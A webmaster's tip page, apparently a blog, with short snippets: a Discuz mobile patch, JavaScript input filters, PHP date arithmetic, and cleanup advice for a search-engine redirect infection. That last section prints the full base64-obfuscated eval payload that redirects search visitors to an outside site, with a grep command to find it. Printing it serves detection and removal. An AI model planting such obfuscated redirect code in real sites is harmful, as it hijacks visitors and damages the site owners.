解決 Discuz X3.2 的手機觸屏版,外鏈圖片,視頻,顯示方法教程

修改: \source\function\function_discuzcode.php

尋找第250行

if(defined(‘IN_MOBILE’) && !defined(‘TPL_DEFAULT’) && !defined(‘IN_MOBILE_API’)) {

替換成以下

if($_G[setting][mobile][mobilesimpletype]) {

 

Javascript input number only or text/number only

<script type=”text/javascript”>
function numericonly(e){
var code;
if (!e) var e = window.event;
if (e.keyCode) code = e.keyCode;
else if (e.which) code = e.which;
var character = String.fromCharCode(code);
//alert(‘Character was ‘ + character);
//alert(code);
//if (code == 8) return true;
var AllowRegex = /^[\b0-9.]$/;
if (AllowRegex.test(character)) return true;
return false;
}
function typetextandnumonly(e){
var code;
if (!e) var e = window.event;
if (e.keyCode) code = e.keyCode;
else if (e.which) code = e.which;
var character = String.fromCharCode(code);
var AllowRegex = /^[a-zA-Z0-9]$/;
if (AllowRegex.test(character)) return true;
return false;
}

</script>

 

<input name=”password” type=”password” id=”password” size=”50″ maxlength=”50″ value=”” onkeypress=”return typetextandnumonly(event);” />

, ,

Add months, days, years to PHP date()

  1. $date = date(“Y-m-d”);
  2. $date = strtotime(date(“Y-m-d”, strtotime($date)) . ” +12 month”);
  3. $date = date(“Y-m-d”,$date);
  4. echo $date;
  5. Other examples
  6. $date = strtotime(date(“Y-m-d”, strtotime($date)) . ” +1 day”);
  7. $date = strtotime(date(“Y-m-d”, strtotime($date)) . ” +1 week”);
  8. $date = strtotime(date(“Y-m-d”, strtotime($date)) . ” +2 week”);
  9. $date = strtotime(date(“Y-m-d”, strtotime($date)) . ” +1 month”);
  10. $date = strtotime(date(“Y-m-d”, strtotime($date)) . ” +30 days”);

Search engine redirect your page to p3p0.com

Some bad code has been injected in your php file, like:

eval(base64_decode(“aWYgKHN0cmlzdHIoJF9TRVJWRVJbSFRUUF9SRUZFUkVSXSwiZ29vZ2xlIikpIHsNCglpZiAoIXN0cmlzdHIoJF9TRVJWRVJbSFRUUF9SRUZFUkVSXSwiLm51IikgYW5kICFzdHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sInNpdGUiKSBhbmQgIXN0cmlzdHIoJF9TRVJWRVJbSFRUUF9SRUZFUkVSXSwiaW51cmwiKSl7DQoJCXByZWdfbWF0Y2ggKCIvcVw9KC4qKS8iLCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sJGtrKTsNCgkJaWYgKHN0cmlzdHIoJGtrWzFdLCImIikpIHsNCgkJCXByZWdfbWF0Y2ggKCIvKC4qPylcJi8iLCRra1sxXSwka2V5Mik7DQoJCQkka2V5d29yZD11cmxkZWNvZGUoJGtleTJbMV0pOw0KCQl9ZWxzZSB7DQoJCQkka2V5d29yZD11cmxkZWNvZGUoJGtrWzFdKTsNCgkJfQ0KCQloZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vbmV3d2F2ZS5vcmdlLnBsLz9xPSIuJGtleXdvcmQpOw0KCQlleGl0KCk7DQoJfQ0KDQp9ZWxzZWlmIChzdHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sInlhaG9vIikpIHsNCnByZWdfbWF0Y2ggKCIvcFw9KC4qPykmLyIsJF9TRVJWRVJbSFRUUF9SRUZFUkVSXSwka2spOw0KCQloZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vbmV3d2F2ZS5vcmdlLnBsLz9xPSIuJGtrWzFdKTsNCgkJZXhpdCgpOw0KfWVsc2VpZiAoc3RyaXN0cigkX1NFUlZFUltIVFRQX1JFRkVSRVJdLCJiaW5nIikpIHsNCnByZWdfbWF0Y2ggKCIvcVw9KC4qPykmLyIsJF9TRVJWRVJbSFRUUF9SRUZFUkVSXSwka2spOw0KCQloZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vbmV3d2F2ZS5vcmdlLnBsLz9xPSIuJGtrWzFdKTsNCgkJZXhpdCgpOw0KfQ==”));

To solve this problem, you can try to search the above code in the file content that locate at the web directory. Then remove those coding.

If you are using linux platform, you can use this command:

grep -R ‘eval(base64_decode(‘  *

Hope that can help you to get back your site. 🙂

, , ,